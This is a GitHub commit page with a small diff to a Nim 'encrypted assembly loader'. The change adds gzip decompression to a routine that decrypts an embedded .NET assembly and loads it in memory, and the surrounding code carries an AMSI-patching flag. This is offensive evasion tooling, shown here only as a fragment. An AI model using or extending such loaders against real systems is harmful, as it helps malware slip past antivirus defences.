Skip to content

Commit

Permalink
Add gzip compression
Browse files Browse the repository at this point in the history
  • Loading branch information
S3cur3Th1sSh1t authored Jan 14, 2021
1 parent b9d386d commit eb08d28
Showing 1 changed file with 4 additions and 1 deletion.
5 changes: 4 additions & 1 deletion nim/encrypted_assembly_loader.nim
Original file line number Diff line number Diff line change
Expand Up @@ -24,6 +24,7 @@ import winim/clr except `[]`
import winim/lean
import nimcrypto
import nimcrypto/sysrand
import zippy

let
usePatchAmsi = false
Expand Down Expand Up @@ -112,7 +113,9 @@ dctx.init(key, iv)
dctx.decrypt(encrypted, decrypted)
dctx.clear()

var assembly = load(decrypted)
var dectextstring: string = cast[string](decrypted)
var decompressed: string = uncompress(dectextstring,dfGzip)
var assembly = load(toByteSeq(decompressed))

var cmd: seq[string]
var i = 3
Expand Down

0 comments on commit eb08d28

Please sign in to comment.